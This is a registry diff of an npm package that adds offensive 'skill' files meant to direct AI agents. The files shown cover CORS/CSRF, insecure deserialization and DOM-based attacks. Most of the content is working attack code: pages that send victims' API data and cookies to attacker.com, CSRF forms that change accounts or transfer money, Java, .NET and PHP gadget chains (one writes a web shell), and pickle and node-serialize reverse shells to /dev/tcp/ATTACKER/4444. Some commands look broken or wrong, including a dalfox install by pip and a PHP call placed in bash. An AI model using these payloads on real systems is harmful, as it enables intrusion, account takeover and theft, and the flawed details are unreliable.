rtexit-method 0.1.8 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-cors-csrf
|
|
3
|
+
description: "CORS misconfiguration and CSRF attack skill for authorized engagements. CORS origin reflection exploitation, null origin bypass, subdomain-based CORS abuse, pre-flight bypass, CSRF token bypass techniques (referer validation, SameSite cookie bypass, token prediction), CSRF via content-type confusion, and login CSRF. Use when testing cross-origin resource sharing policies and cross-site request forgery protections."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-cors-csrf — CORS Misconfiguration & CSRF
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
**CORS misconfigurations** allow attacker origins to read responses from authenticated APIs — credentials, tokens, PII. **CSRF** tricks users into making unintended authenticated requests. Together they represent broken cross-origin controls, among the most common web vulnerabilities.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Part 1 — CORS Misconfiguration
|
|
15
|
+
|
|
16
|
+
### Phase 1 — Detection
|
|
17
|
+
|
|
18
|
+
```bash
|
|
19
|
+
# Test CORS headers
|
|
20
|
+
curl -H "Origin: https://attacker.com" https://target.com/api/user -v 2>&1 | grep -i "access-control"
|
|
21
|
+
# Vulnerable if:
|
|
22
|
+
# Access-Control-Allow-Origin: https://attacker.com ← reflects your origin
|
|
23
|
+
# Access-Control-Allow-Credentials: true ← with credentials!
|
|
24
|
+
|
|
25
|
+
# Test variations
|
|
26
|
+
for origin in "https://attacker.com" "null" "https://target.com.attacker.com" "https://attackertarget.com"; do
|
|
27
|
+
echo -n "$origin → "
|
|
28
|
+
curl -s -I -H "Origin: $origin" https://target.com/api/ | grep -i "access-control-allow-origin"
|
|
29
|
+
done
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
### Phase 2 — Exploit Origin Reflection
|
|
33
|
+
|
|
34
|
+
```html
|
|
35
|
+
<!-- If Access-Control-Allow-Origin reflects any Origin + Allow-Credentials: true -->
|
|
36
|
+
<!-- Host on attacker.com: -->
|
|
37
|
+
<html><body>
|
|
38
|
+
<script>
|
|
39
|
+
fetch('https://target.com/api/user', {credentials: 'include'})
|
|
40
|
+
.then(r => r.json())
|
|
41
|
+
.then(data => {
|
|
42
|
+
// Send victim's data to attacker
|
|
43
|
+
fetch('https://attacker.com/collect', {
|
|
44
|
+
method: 'POST',
|
|
45
|
+
body: JSON.stringify(data)
|
|
46
|
+
});
|
|
47
|
+
});
|
|
48
|
+
</script>
|
|
49
|
+
</body></html>
|
|
50
|
+
<!-- Victim visits attacker.com → their authenticated API response stolen -->
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
### Phase 3 — Null Origin Bypass
|
|
54
|
+
|
|
55
|
+
```html
|
|
56
|
+
<!-- Some apps whitelist "null" origin (sandboxed iframes send null) -->
|
|
57
|
+
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
|
|
58
|
+
src="data:text/html,<script>
|
|
59
|
+
fetch('https://target.com/api/sensitive', {credentials:'include'})
|
|
60
|
+
.then(r=>r.text())
|
|
61
|
+
.then(d=>location='https://attacker.com/?'+encodeURIComponent(d))
|
|
62
|
+
</script>">
|
|
63
|
+
</iframe>
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Phase 4 — Subdomain Bypass
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# CORS regex: /.*target\.com$/ → matches evil.target.com
|
|
70
|
+
# Find XSS on any subdomain → use it to make CORS request
|
|
71
|
+
|
|
72
|
+
# Or: register subdomain-lookalike
|
|
73
|
+
# Whitelist: *.target.com → register: attacker.target.com.evil.com? (no)
|
|
74
|
+
# But if regex: /target\.com/ → matches: attackertarget.com
|
|
75
|
+
|
|
76
|
+
# Test subdomain origin
|
|
77
|
+
curl -H "Origin: https://evil.target.com" https://target.com/api/
|
|
78
|
+
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Part 2 — CSRF
|
|
84
|
+
|
|
85
|
+
### Phase 5 — CSRF Detection
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
# Check for CSRF token in state-changing requests
|
|
89
|
+
# Capture POST/PUT/DELETE in Burp → look for _csrf, csrf_token, X-CSRF-Token header
|
|
90
|
+
|
|
91
|
+
# Test 1: Remove CSRF token
|
|
92
|
+
# If request succeeds without token → CSRF vulnerable
|
|
93
|
+
|
|
94
|
+
# Test 2: Use another user's CSRF token
|
|
95
|
+
# Log in as User A → get A's token → use in User B's request
|
|
96
|
+
# If succeeds → token not tied to session → CSRF vulnerable
|
|
97
|
+
|
|
98
|
+
# Test 3: Empty token
|
|
99
|
+
# Change csrf_token=VALID to csrf_token=
|
|
100
|
+
# If succeeds → validation flawed
|
|
101
|
+
|
|
102
|
+
# Test 4: Referer-only validation
|
|
103
|
+
curl -X POST https://target.com/change-password \
|
|
104
|
+
-b "session=VICTIM_SESSION" \
|
|
105
|
+
-d "new_password=hacked" \
|
|
106
|
+
--referer "https://target.com" # Forge referer
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### Phase 6 — CSRF Exploit
|
|
110
|
+
|
|
111
|
+
```html
|
|
112
|
+
<!-- Classic CSRF — change victim's email -->
|
|
113
|
+
<html><body>
|
|
114
|
+
<form id="csrf" action="https://target.com/account/update" method="POST">
|
|
115
|
+
<input name="email" value="attacker@evil.com">
|
|
116
|
+
<input name="action" value="update">
|
|
117
|
+
</form>
|
|
118
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
119
|
+
</body></html>
|
|
120
|
+
|
|
121
|
+
<!-- JSON CSRF (Content-Type: text/plain → server accepts) -->
|
|
122
|
+
<html><body>
|
|
123
|
+
<form id="csrf" action="https://target.com/api/transfer" method="POST"
|
|
124
|
+
enctype="text/plain">
|
|
125
|
+
<input name='{"amount":1000,"to":"attacker","x":"' value='"}'>
|
|
126
|
+
</form>
|
|
127
|
+
<script>document.getElementById('csrf').submit();</script>
|
|
128
|
+
</body></html>
|
|
129
|
+
|
|
130
|
+
<!-- CSRF via fetch (if CORS allows null origin) -->
|
|
131
|
+
<iframe sandbox="allow-scripts" src="data:text/html,<script>
|
|
132
|
+
fetch('https://target.com/api/admin/delete', {
|
|
133
|
+
method:'POST',
|
|
134
|
+
credentials:'include',
|
|
135
|
+
body:'user_id=victim'
|
|
136
|
+
})
|
|
137
|
+
</script>">
|
|
138
|
+
</iframe>
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
### Phase 7 — SameSite Cookie Bypass
|
|
142
|
+
|
|
143
|
+
```bash
|
|
144
|
+
# SameSite=Lax: cookies sent on top-level navigation GET requests
|
|
145
|
+
# Bypass: use GET-based state-changing endpoint if exists
|
|
146
|
+
|
|
147
|
+
# Test: does the action work via GET?
|
|
148
|
+
curl "https://target.com/account/delete?confirm=true" \
|
|
149
|
+
-b "session=VICTIM_SESSION"
|
|
150
|
+
|
|
151
|
+
# SameSite=None without Secure: works cross-site (flag misconfiguration)
|
|
152
|
+
# SameSite not set (old default Lax): bypass via sibling subdomain + HTTPS redirect chain
|
|
153
|
+
|
|
154
|
+
# Login CSRF — force victim to log into attacker account
|
|
155
|
+
<form action="https://target.com/login" method="POST">
|
|
156
|
+
<input name="username" value="attacker_account">
|
|
157
|
+
<input name="password" value="attacker_password">
|
|
158
|
+
</form>
|
|
159
|
+
# Victim submits → now logged in as attacker → attacker reads victim's activity
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Skill Levels
|
|
165
|
+
|
|
166
|
+
**BEGINNER:** CORS header inspection · Basic CSRF with HTML form · Remove CSRF token test
|
|
167
|
+
|
|
168
|
+
**INTERMEDIATE:** Origin reflection exploit · Null origin iframe CORS · JSON CSRF
|
|
169
|
+
|
|
170
|
+
**ADVANCED:** Subdomain CORS bypass + XSS chaining · SameSite Lax bypass via GET state-change
|
|
171
|
+
|
|
172
|
+
**EXPERT:** Pre-flight bypass via non-simple methods · CSRF token prediction · Login CSRF chains
|
|
173
|
+
|
|
174
|
+
---
|
|
175
|
+
|
|
176
|
+
## References
|
|
177
|
+
|
|
178
|
+
- PortSwigger CORS: https://portswigger.net/web-security/cors
|
|
179
|
+
- PortSwigger CSRF: https://portswigger.net/web-security/csrf
|
|
180
|
+
- SameSite bypass research: https://portswigger.net/research/bypassing-samesite-cookie-restrictions
|
|
@@ -0,0 +1,223 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-deserialization
|
|
3
|
+
description: "Insecure deserialization master skill covering all major languages for authorized engagements. Java deserialization with ysoserial gadget chains, PHP object injection with phpggc, .NET ViewState and BinaryFormatter attacks, Python pickle RCE, Ruby Marshal deserialization, Node.js serialize-to-function, and identifying deserialization sinks across frameworks. Use when applications accept serialized objects from untrusted input."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-deserialization — Insecure Deserialization (All Languages)
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Deserialization converts byte streams back into objects. When applications deserialize attacker-controlled data without validation, attackers can craft malicious serialized objects that trigger code execution via "gadget chains" — sequences of existing code that execute dangerous operations during deserialization.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection Across Languages
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Java serialization magic bytes
|
|
18
|
+
# AC ED 00 05 = Java serialized object
|
|
19
|
+
# rO0AB = base64 of AC ED 00 05
|
|
20
|
+
echo "rO0ABXNy..." | base64 -d | xxd | head -2
|
|
21
|
+
|
|
22
|
+
# PHP serialization format
|
|
23
|
+
# O:4:"User":1:{s:4:"name";s:5:"admin";}
|
|
24
|
+
# a:2:{s:5:"hello";s:5:"world";}
|
|
25
|
+
|
|
26
|
+
# .NET BinaryFormatter
|
|
27
|
+
# AAEAAAD///// = base64 marker
|
|
28
|
+
# Content-Type: application/x-www-form-urlencoded with ViewState param
|
|
29
|
+
|
|
30
|
+
# Python pickle
|
|
31
|
+
# \x80\x04 = pickle protocol 4 magic bytes
|
|
32
|
+
|
|
33
|
+
# Node.js (serialize-javascript, node-serialize)
|
|
34
|
+
# {"rce":"_$$ND_FUNC$$_function(){return require('child_process').execSync('id')}()"}
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## Phase 2 — Java Deserialization
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
# ysoserial — Java gadget chain generator
|
|
43
|
+
java -jar ysoserial.jar # List available gadget chains
|
|
44
|
+
|
|
45
|
+
# Most useful chains
|
|
46
|
+
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0
|
|
47
|
+
java -jar ysoserial.jar CommonsCollections5 'curl http://ATTACKER/$(id)' | base64 -w0
|
|
48
|
+
java -jar ysoserial.jar Spring1 'id' | base64 -w0
|
|
49
|
+
java -jar ysoserial.jar Groovy1 'id' | base64 -w0
|
|
50
|
+
|
|
51
|
+
# Test with curl — replace serialized value in cookie/header/body
|
|
52
|
+
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0)
|
|
53
|
+
curl "https://target.com/api" \
|
|
54
|
+
-H "Authorization: $PAYLOAD"
|
|
55
|
+
# Or in cookie: -b "JSESSIONID=$PAYLOAD"
|
|
56
|
+
# Or POST body with base64 encoded payload
|
|
57
|
+
|
|
58
|
+
# Blind RCE via DNS (confirm execution)
|
|
59
|
+
java -jar ysoserial.jar CommonsCollections6 \
|
|
60
|
+
'curl http://BURP_COLLABORATOR.burpcollaborator.net' | base64 -w0
|
|
61
|
+
|
|
62
|
+
# Identify gadget chain — check classpath
|
|
63
|
+
# Look for: commons-collections, spring-core, groovy-all in pom.xml/build.gradle
|
|
64
|
+
find /app -name "*.jar" | xargs -I{} jar tf {} | grep -i "commons\|spring"
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## Phase 3 — PHP Object Injection
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# phpggc — PHP gadget chain generator (like ysoserial for PHP)
|
|
73
|
+
git clone https://github.com/ambionics/phpggc
|
|
74
|
+
php phpggc -l # List gadget chains
|
|
75
|
+
|
|
76
|
+
# Useful chains
|
|
77
|
+
php phpggc Laravel/RCE1 system id | base64
|
|
78
|
+
php phpggc Symfony/RCE4 exec 'id' | base64
|
|
79
|
+
php phpggc Drupal/FD1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'
|
|
80
|
+
php phpggc Guzzle/FW1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'
|
|
81
|
+
|
|
82
|
+
# Manual PHP object injection
|
|
83
|
+
# Find unserialize() calls with user input:
|
|
84
|
+
# unserialize($_COOKIE['data'])
|
|
85
|
+
# unserialize(base64_decode($_GET['obj']))
|
|
86
|
+
|
|
87
|
+
# Craft malicious object (if __wakeup, __destruct, __toString with dangerous code)
|
|
88
|
+
php -r "
|
|
89
|
+
class VulnClass {
|
|
90
|
+
public \$cmd;
|
|
91
|
+
function __destruct() { system(\$this->cmd); }
|
|
92
|
+
}
|
|
93
|
+
\$o = new VulnClass();
|
|
94
|
+
\$o->cmd = 'id';
|
|
95
|
+
echo base64_encode(serialize(\$o));
|
|
96
|
+
"
|
|
97
|
+
|
|
98
|
+
# Phar deserialization (file operations trigger deserialization)
|
|
99
|
+
php -r "
|
|
100
|
+
\$phar = new Phar('evil.phar');
|
|
101
|
+
\$phar->startBuffering();
|
|
102
|
+
\$phar->addFromString('test.txt', 'test');
|
|
103
|
+
\$phar->setMetadata(new VulnClass());
|
|
104
|
+
\$phar->stopBuffering();
|
|
105
|
+
"
|
|
106
|
+
rename('evil.phar', 'evil.jpg') # Rename to bypass extension check
|
|
107
|
+
# Trigger: file_exists('phar://uploads/evil.jpg')
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## Phase 4 — Python Pickle RCE
|
|
113
|
+
|
|
114
|
+
```python
|
|
115
|
+
# Pickle deserialization = arbitrary code execution
|
|
116
|
+
import pickle, base64, os
|
|
117
|
+
|
|
118
|
+
class Exploit(object):
|
|
119
|
+
def __reduce__(self):
|
|
120
|
+
return (os.system, ('id',))
|
|
121
|
+
|
|
122
|
+
# Generate payload
|
|
123
|
+
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
|
|
124
|
+
print(f"Payload: {payload}")
|
|
125
|
+
|
|
126
|
+
# Reverse shell payload
|
|
127
|
+
class ReverseShell(object):
|
|
128
|
+
def __reduce__(self):
|
|
129
|
+
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
|
|
130
|
+
return (os.system, (cmd,))
|
|
131
|
+
|
|
132
|
+
payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()
|
|
133
|
+
|
|
134
|
+
# Test if endpoint accepts pickle
|
|
135
|
+
import requests
|
|
136
|
+
r = requests.post("https://target.com/api/data",
|
|
137
|
+
data={"data": payload})
|
|
138
|
+
# Or in cookie, header, etc.
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Phase 5 — .NET Deserialization
|
|
144
|
+
|
|
145
|
+
```bash
|
|
146
|
+
# ysoserial.net — .NET gadget chains
|
|
147
|
+
ysoserial.net -f Json.Net -g ObjectDataProvider -c "calc.exe" -o base64
|
|
148
|
+
ysoserial.net -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o base64
|
|
149
|
+
ysoserial.net -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "payload.cs" -o base64
|
|
150
|
+
|
|
151
|
+
# ViewState deserialization (ASP.NET WebForms)
|
|
152
|
+
# If MachineKey known/weak → forge ViewState with payload
|
|
153
|
+
ysoserial.net -p ViewState -g TextFormattingRunProperties \
|
|
154
|
+
--decryptionalg="AES" --decryptionkey="KEY_FROM_WEB.CONFIG" \
|
|
155
|
+
--validationalg="SHA1" --validationkey="VKEY_FROM_WEB.CONFIG" \
|
|
156
|
+
-c "cmd /c whoami" -o base64
|
|
157
|
+
|
|
158
|
+
# Locate MachineKey in web.config
|
|
159
|
+
curl https://target.com/.git/config # Maybe web.config exposed
|
|
160
|
+
# Or: read via LFI/XXE
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Phase 6 — Ruby Marshal Deserialization
|
|
166
|
+
|
|
167
|
+
```ruby
|
|
168
|
+
# Marshal.load with user input = RCE
|
|
169
|
+
require 'base64'
|
|
170
|
+
|
|
171
|
+
# Gadget chain for Ruby on Rails with universal_gadget
|
|
172
|
+
# Tool: rails-deserialization-exploits
|
|
173
|
+
# github.com/Ren0503/ruby-deserialization
|
|
174
|
+
|
|
175
|
+
payload = Base64.encode64(Marshal.dump(
|
|
176
|
+
# Construct gadget chain here
|
|
177
|
+
))
|
|
178
|
+
|
|
179
|
+
# Test if endpoint accepts Marshal data
|
|
180
|
+
# Look for: application/x-ruby-marshal content-type
|
|
181
|
+
# Or: base64 strings starting with BAhb (Ruby Marshal magic)
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 7 — Node.js Deserialization
|
|
187
|
+
|
|
188
|
+
```javascript
|
|
189
|
+
// node-serialize vulnerable pattern
|
|
190
|
+
var serialize = require('node-serialize');
|
|
191
|
+
|
|
192
|
+
// Malicious serialized object with IIFE
|
|
193
|
+
var payload = '{"rce":"_$$ND_FUNC$$_function(){return require(\'child_process\').execSync(\'id\').toString()}()"}';
|
|
194
|
+
|
|
195
|
+
// Test: encode and send
|
|
196
|
+
var encoded = Buffer.from(payload).toString('base64');
|
|
197
|
+
// Send in cookie or POST body
|
|
198
|
+
|
|
199
|
+
// Reverse shell
|
|
200
|
+
var revshell = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'bash -c \\\\\'bash -i >& /dev/tcp/ATTACKER/4444 0>&1\\\\\'\')}()"}';
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Skill Levels
|
|
206
|
+
|
|
207
|
+
**BEGINNER:** Identify serialization format (magic bytes) · ysoserial DNS callback confirmation · phpggc basic chain
|
|
208
|
+
|
|
209
|
+
**INTERMEDIATE:** Java CommonsCollections chains · PHP phar deserialization · Python pickle RCE
|
|
210
|
+
|
|
211
|
+
**ADVANCED:** .NET ViewState with known MachineKey · Ruby Rails gadget chains · Blind RCE confirmation via DNS
|
|
212
|
+
|
|
213
|
+
**EXPERT:** Custom gadget chain development · Cross-language polyglot payloads · JNDI injection variants
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## References
|
|
218
|
+
|
|
219
|
+
- ysoserial: https://github.com/frohoff/ysoserial
|
|
220
|
+
- phpggc: https://github.com/ambionics/phpggc
|
|
221
|
+
- ysoserial.net: https://github.com/pwntester/ysoserial.net
|
|
222
|
+
- OWASP Deserialization: https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
|
|
223
|
+
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
|
|
@@ -0,0 +1,219 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-dom-attacks
|
|
3
|
+
description: "DOM-based vulnerability skill for authorized engagements. DOM XSS via dangerous sinks (innerHTML, eval, document.write, location), DOM clobbering to bypass security checks, client-side template injection (AngularJS, Vue, React), postMessage exploitation, DOM-based open redirect, and web messaging attacks. Use when testing client-side JavaScript security in modern single-page applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-dom-attacks — DOM-Based Vulnerabilities
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
DOM-based vulnerabilities occur entirely client-side — the server sends safe data but the browser's JavaScript processes it unsafely. Traditional XSS scanners miss these. Sources (user-controlled input) flow into dangerous sinks (functions that execute code) through JavaScript execution paths.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — DOM XSS Sources & Sinks
|
|
15
|
+
|
|
16
|
+
```javascript
|
|
17
|
+
// SOURCES (attacker-controlled inputs)
|
|
18
|
+
location.href // Full URL
|
|
19
|
+
location.search // Query string (?q=...)
|
|
20
|
+
location.hash // Fragment (#...)
|
|
21
|
+
location.pathname // URL path
|
|
22
|
+
document.referrer // Referrer header
|
|
23
|
+
window.name // Window name (survives navigation!)
|
|
24
|
+
postMessage data // Cross-origin messages
|
|
25
|
+
localStorage/sessionStorage
|
|
26
|
+
|
|
27
|
+
// SINKS (dangerous functions — cause XSS if tainted data flows in)
|
|
28
|
+
// CODE EXECUTION sinks
|
|
29
|
+
eval()
|
|
30
|
+
setTimeout("STRING") // String form — dangerous
|
|
31
|
+
setInterval("STRING")
|
|
32
|
+
new Function("STRING")
|
|
33
|
+
document.write()
|
|
34
|
+
document.writeln()
|
|
35
|
+
|
|
36
|
+
// HTML INJECTION sinks
|
|
37
|
+
element.innerHTML = TAINTED
|
|
38
|
+
element.outerHTML = TAINTED
|
|
39
|
+
element.insertAdjacentHTML()
|
|
40
|
+
document.body.innerHTML
|
|
41
|
+
|
|
42
|
+
// URL NAVIGATION sinks (can be javascript: protocol)
|
|
43
|
+
location = TAINTED
|
|
44
|
+
location.href = TAINTED
|
|
45
|
+
location.assign(TAINTED)
|
|
46
|
+
location.replace(TAINTED)
|
|
47
|
+
|
|
48
|
+
// Script SRC sinks
|
|
49
|
+
script.src = TAINTED
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## Phase 2 — DOM XSS Examples
|
|
55
|
+
|
|
56
|
+
```javascript
|
|
57
|
+
// URL fragment → innerHTML (common in SPA routing)
|
|
58
|
+
// Source: location.hash
|
|
59
|
+
// Sink: innerHTML
|
|
60
|
+
// Vulnerable code: document.getElementById('content').innerHTML = location.hash.slice(1)
|
|
61
|
+
// Exploit: https://target.com/#<img src=x onerror=alert(1)>
|
|
62
|
+
|
|
63
|
+
// URL param → eval
|
|
64
|
+
// Vulnerable: eval(new URLSearchParams(location.search).get('callback'))
|
|
65
|
+
// Exploit: https://target.com/?callback=alert(document.cookie)
|
|
66
|
+
|
|
67
|
+
// URL param → document.write
|
|
68
|
+
// Vulnerable: document.write('<img src="' + getParam('img') + '">')
|
|
69
|
+
// Exploit: https://target.com/?img=x" onerror="alert(1)
|
|
70
|
+
|
|
71
|
+
// URL param → location (open redirect → XSS)
|
|
72
|
+
// Vulnerable: location.href = getParam('redirect')
|
|
73
|
+
// Exploit: https://target.com/?redirect=javascript:alert(1)
|
|
74
|
+
|
|
75
|
+
// window.name XSS (survives cross-origin navigation)
|
|
76
|
+
// Attacker page:
|
|
77
|
+
window.name = "<img src=x onerror=alert(document.cookie)>"
|
|
78
|
+
location = "https://target.com/vulnerable-page"
|
|
79
|
+
// Target page uses: document.write(window.name)
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Phase 3 — DOM Clobbering
|
|
85
|
+
|
|
86
|
+
```html
|
|
87
|
+
<!-- DOM clobbering: use HTML to override JavaScript variables/objects -->
|
|
88
|
+
<!-- Overwrites window.x with a DOM element -->
|
|
89
|
+
<a id="x">clobbered</a>
|
|
90
|
+
<!-- Now: window.x = HTMLAnchorElement (not undefined) -->
|
|
91
|
+
<!-- If code does: if(!x) { securityCheck() } → check bypassed -->
|
|
92
|
+
|
|
93
|
+
<!-- Clobber security flag -->
|
|
94
|
+
<form id="isAdmin"><input id="value" value="true"></form>
|
|
95
|
+
<!-- If code: if(isAdmin.value === 'true') → bypassed -->
|
|
96
|
+
|
|
97
|
+
<!-- Clobber URL used in script src -->
|
|
98
|
+
<a id="config"><a id="config" name="scriptURL" href="//attacker.com/evil.js"></a>
|
|
99
|
+
<!-- If code: script.src = config.scriptURL → loads attacker script -->
|
|
100
|
+
|
|
101
|
+
<!-- Real attack: inject via stored XSS on subdomain, clobber parent -->
|
|
102
|
+
<!-- Or: HTML injection without script execution (CSP bypass) -->
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Phase 4 — Client-Side Template Injection (CSTI)
|
|
108
|
+
|
|
109
|
+
```javascript
|
|
110
|
+
// AngularJS CSTI → RCE in browser sandbox
|
|
111
|
+
// If user input is placed inside ng-app context:
|
|
112
|
+
// Test: {{7*7}} → if 49 appears → CSTI
|
|
113
|
+
|
|
114
|
+
// AngularJS sandbox escape (old versions)
|
|
115
|
+
{{constructor.constructor('alert(1)')()}}
|
|
116
|
+
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
|
|
117
|
+
|
|
118
|
+
// AngularJS 1.x universal sandbox escape
|
|
119
|
+
{{a=['constructor'][0];b=a.constructor;c=b('return window')();c.alert(c.document.cookie)}}
|
|
120
|
+
|
|
121
|
+
// Vue.js CSTI
|
|
122
|
+
// Test: {{7*7}}
|
|
123
|
+
// {{constructor.constructor('alert(1)')()}}
|
|
124
|
+
// $el.ownerDocument.defaultView.alert(1)
|
|
125
|
+
|
|
126
|
+
// React: generally safe (JSX escapes) but dangerouslySetInnerHTML is a sink
|
|
127
|
+
// Test for dangerouslySetInnerHTML in source → same as innerHTML
|
|
128
|
+
|
|
129
|
+
// Angular (modern) — strict mode, harder to exploit
|
|
130
|
+
// Look for: bypassSecurityTrustHtml(), sanitize bypass
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Phase 5 — postMessage Exploitation
|
|
136
|
+
|
|
137
|
+
```javascript
|
|
138
|
+
// postMessage allows cross-origin communication
|
|
139
|
+
// Vulnerable: doesn't validate origin of incoming messages
|
|
140
|
+
|
|
141
|
+
// Vulnerable code:
|
|
142
|
+
window.addEventListener("message", function(e) {
|
|
143
|
+
eval(e.data); // No origin check!
|
|
144
|
+
// Or: document.getElementById("content").innerHTML = e.data
|
|
145
|
+
});
|
|
146
|
+
|
|
147
|
+
// Exploit from attacker.com:
|
|
148
|
+
<script>
|
|
149
|
+
var target = window.open("https://target.com/", "_blank");
|
|
150
|
+
setTimeout(function() {
|
|
151
|
+
target.postMessage("<img src=x onerror=alert(document.cookie)>", "*");
|
|
152
|
+
// Or: target.postMessage("alert(1)", "*");
|
|
153
|
+
}, 2000);
|
|
154
|
+
</script>
|
|
155
|
+
|
|
156
|
+
// Bypass origin check weaknesses
|
|
157
|
+
// if (e.origin.indexOf("target.com") !== -1) ← bypass with: attacker.target.com
|
|
158
|
+
// if (e.origin === "https://target.com") ← strict (safe)
|
|
159
|
+
|
|
160
|
+
// postMessage CSRF
|
|
161
|
+
target.postMessage('{"action":"transfer","amount":1000,"to":"attacker"}', "*")
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
---
|
|
165
|
+
|
|
166
|
+
## Phase 6 — DOM-Based Open Redirect
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# DOM redirect used as XSS vector
|
|
170
|
+
# Vulnerable: window.location = getParam('url')
|
|
171
|
+
# XSS: ?url=javascript:alert(document.cookie)
|
|
172
|
+
|
|
173
|
+
# Bypass common filters
|
|
174
|
+
?url=javascript:alert(1)
|
|
175
|
+
?url=JaVaScRiPt:alert(1) # Case variation
|
|
176
|
+
?url=javascript%3aalert(1) # URL encoded colon
|
|
177
|
+
?url=java%0ascript:alert(1) # Newline injection
|
|
178
|
+
?url=data:text/html,<script>alert(1)</script>
|
|
179
|
+
?url=//attacker.com # Protocol-relative
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## Automated DOM XSS Testing
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
# DOMXSSScanner
|
|
188
|
+
pip3 install dalfox
|
|
189
|
+
dalfox url "https://target.com/?q=test" --deep-domxss
|
|
190
|
+
|
|
191
|
+
# DOM Invader (Burp Suite built-in)
|
|
192
|
+
# Browser → Extensions → Burp Suite → DOM Invader
|
|
193
|
+
# Injects canary string → tracks through DOM → finds sinks
|
|
194
|
+
|
|
195
|
+
# Playwright-based DOM XSS scanner
|
|
196
|
+
npm install -g js-xss-scanner
|
|
197
|
+
js-xss-scanner https://target.com
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## Skill Levels
|
|
